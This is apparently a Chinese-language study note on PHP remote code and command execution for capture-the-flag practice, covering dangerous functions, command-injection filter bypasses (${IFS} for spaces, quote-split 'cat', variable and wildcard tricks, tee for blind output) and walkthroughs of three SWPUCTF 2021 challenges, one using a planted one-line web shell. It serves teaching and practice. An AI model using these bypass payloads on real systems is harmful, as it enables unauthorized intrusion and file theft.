目录
什么是Shell
1、Shell简介
2、印刷约定
一、什么是RCE
漏洞产生条件:
漏洞检测:
1.远程命令执行
system()函数:
passthru()函数:
exec()函数:
无回显
shell_exec()函数:
2.远程代码执行
eval()函数:
可将代码执行漏洞间接替换成命令执行漏洞
${}执行代码:
编辑
isset()函数:
二、RCE命令注入
RCE命令注入分类
1.过滤cat
2.过滤空格:
3.拼接符
4.过滤cat、ls、flag等一些关键字
\ 单双引号 反撇绕过过滤
变量绕过
命令拆分绕过
通配符正则绕过
三、例题
[SWPUCTF 2021 新生赛]easyrce
[SWPUCTF 2021 新生赛]caidao
[SWPUCTF 2021 新生赛]babyrce
学习参考:
RCE代码及命令执行(详解)_rce命令执行-CSDN博客
RCE漏洞简介-CSDN博客
浅谈基础RCE-CSDN博客
RCE漏洞详解及绕过总结(全面)-CSDN博客
什么是Shell
(参考)https://blog.51cto.com/aku28907/1783805
1、Shell简介
Shell是一个程序,它在用户和操作系统之间提供了一个面向行的可交互接口。
用户在命令行中输入命令,运行在后台的shell把命令转换成指令码发给操作系统。
2、印刷约定
$:表示用户输入
#:表示正在以root身份执行命令
一、什么是RCE
RCE(Remote Code/Command Execution)远程代码执行漏洞、远程命令执行漏洞。
漏洞产生条件:
1.调用第三方组件存在的代码执行漏洞。
2.用户输入的内容作为系统命令的参数拼接到命令中。
3.对用户的输入过滤不严格。
4.可控变量或漏洞函数。
漏洞检测:
白盒:可以对代码进行审计。
黑盒:可以使用一些漏洞扫描工具。公开的漏洞、手工看功能点及参数值,其中参数值主要需要看是否和相关的漏洞函数有关,若有就可以进行测试,但可能存在加密的情况,那么还需要进行解密。
1.远程命令执行
执行系统命令
以PHP代码(以分号;结尾)为例,常见的命令执行函数有:
system()、passthru()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()等。
system()函数:
//system()的原型函数为:int system(const char * command)
参数字符串command为命令名
//system()用于调用一些dos(windows系统)命令、 shell(Linux/Unix系统) 命令,并执行 返回结果。在windows系统下 参数字符串不区分大小写
e.g(这里直接用phpstudy搭建了一个环境)
<?php //使用system()函数执行Windows系统下的dir命令
system("dir"); //dir 列文件名
?>
passthru()函数:
与system()用法基本一致,在system函数被过滤后考虑使用
<?php //使用passthru()函数执行Windows系统下的ping命令
passthru("ping www.baidu.com"); //ping 测试网络连接
?>
exec()函数:
//执行一个新的程序
不输出结果,但返回执行结果的最后一行
<?php echo exec("dir");
?>
无回显
搭配echo或其他的输出函数 如print_r()函数使得其回显
<?php echo exec("dir",$file);echo "</br>"; print_r($file);?>
shell_exec()函数:
让页面无回显(与``作用相同),搭配echo或其他的输出函数使得其回显
<?php shell_exec("dir");
?>
<?php echo shell_exec("dir");?><?php print shell_exec("dir");?>
2.远程代码执行
执行(脚本代码)服务器网站的代码
常见的代码执行函数有:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()等。
eval()函数:
//eval()函数把字符串按照PHP代码来计算。
该字符串必须是合法的PHP代码,并且必须以分号结尾。
<?php //使用eval()函数执行PHP代码中的phpinfo()函数
eval("phpinfo();"); //phpinfo()函数:显示出PHP所有相关信息
?>
<?php //使用eval()函数执行PHP代码中的echo命令
eval("echo 123;"); //echo 输出
?>
可将代码执行漏洞间接替换成命令执行漏洞
<?php //在eval()函数中增添了system()函数,将代码执行转化为了命令执行
eval("system('dir');");
?>
${}执行代码:
会将中间的php代码进行解析(与eval()函数作用相似)
<?php
${phpinfo()};
?>
isset()函数:
检测变量是否已设置并且非空
二、RCE命令注入
先了解一下Linux文件查看常用命令:
- cat:由第一行开始查看文件
- tac:cat倒着写,由最后一行到第一行查看
- more:逐项查看文件,按空格继续,最后自己退出
- less:逐行查看文件,按方向键,不可主动退出,按q退出
- head:只查看文件前十行
- tail:只查看文件后十行
RCE命令注入分类
无过滤、过滤cat、过滤空格、过滤目录分隔符、过滤运算符、综合过滤
1.过滤cat
tac //与cat相反,按行反向输出
more //按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less //与more类似
tail //查看文件末几行
head //查看文件首几行
nl //在cat查看文件的基础上显示行号
od //以二进制方式读文件,od -A d -c /flag转人可读字符
xxd //以二进制方式读文件,同时有可读字符显示
sort //排序文件
uniq //报告或删除文件的重复行
file -f //报错文件内容
grep //过滤查找字符串,grep flag /flag //查找文件里符合条件的字符串
2.过滤空格:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
3.拼接符
| #只执行|后面的语句|| #如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句& #&前面和后面命令都要执行,无论前面真假&& #如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令; #前后都执行,无论前面真假,类似&
4.过滤cat、ls、flag等一些关键字
\ 单双引号 反撇绕过过滤
ca\t flag
ca''t flag
ca""t flag
ca``t flag
变量绕过
a=c;b=a;c=t;$a$b$c flag
命令拆分绕过
a=fl;b=ag.php;echo $a$b;
通配符正则绕过
如果正则匹配过滤了一些关键字,如:flag、php、txt等等可以使用问号(?)代替某个字符
适当的可以用星号(*)
注意:这里的?和*都只能用于文件名,如果是命令(类似ls cat等)就不适用
cat flag.php === cat ??ag.php ===cat ?la*
无回显时可以把flag写进一个文件,然后访问这个文件
?cmd=ls /|tee 1.txt?cmd=c''at \f*** |tee 1.txt //tee 保存到1.txt文件里
三、例题
[SWPUCTF 2021 新生赛]easyrce
system()调用Linux ls /命令,发现一个flllllaaaaaaggggggg文件
ls / //查看根目录
cat查看flllllaaaaaaggggggg内容,得到flag
[SWPUCTF 2021 新生赛]caidao
打开环境,发现 传了一句话木马 密码wllm
解法一:post传参,查看根目录 发现flag文件
cat查看,得到flag
解法二:用蚁剑连接
在根目录里发现flag
[SWPUCTF 2021 新生赛]babyrce
cookie传参,得到一个新的php网址
直接访问又得到新的rce
preg_match("/ /")
正则绕过空格,使用${IFS}过滤空格
$a = shell_exec($ip);
无回显a
查看根目录,发现flllllaaaaaaggggggg文件
查看文件内容,得到flag